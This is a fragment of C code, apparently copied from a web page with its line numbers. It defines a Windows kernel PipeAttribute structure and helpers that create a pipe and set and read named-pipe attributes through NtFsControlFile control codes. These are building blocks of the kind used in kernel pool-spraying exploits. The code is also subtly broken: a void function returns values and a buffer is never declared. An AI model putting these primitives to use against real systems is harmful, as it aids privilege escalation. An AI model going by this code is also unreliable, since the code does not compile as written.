1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
|
struct PipeAttribute { LIST_ENTRY list; char * AttributeName; uint64_t AttributeValueSize ; char * AttributeValue ; char data [0]; }; typedef struct { HANDLE read; HANDLE write; } PIPES;
void pipe_init(PIPES* pipes) { if (!CreatePipe(&pipes->read, &pipes->write, NULL, 0x1000)) { printf("createPipe fail\n"); return 1; } return 0; }
int pipe_write_attr(PIPES* pipes, char* name, void* value, int total_size) { size_t length = strlen(name); memcpy(tmp_buffer, name, length + 1); memcpy(tmp_buffer + length + 1, value, total_size - length - 1); IO_STATUS_BLOCK statusblock; char output[0x100]; int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL, &statusblock, 0x11003C, tmp_buffer, total_size, output, sizeof(output)); if (!NT_SUCCESS(mystatus)) { printf("pipe_write_attr fail 0x%x\n", mystatus); return 1; } return 0; }
int pipe_read_attr(PIPES* pipes, char* name, char* output,int size) { IO_STATUS_BLOCK statusblock; int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL, &statusblock, 0x110038, name,strlen(name)+1, output, size); if (!NT_SUCCESS(mystatus)) { printf("pipe_read_attr fail 0x%x\n", mystatus); return 1; } return 0; }
|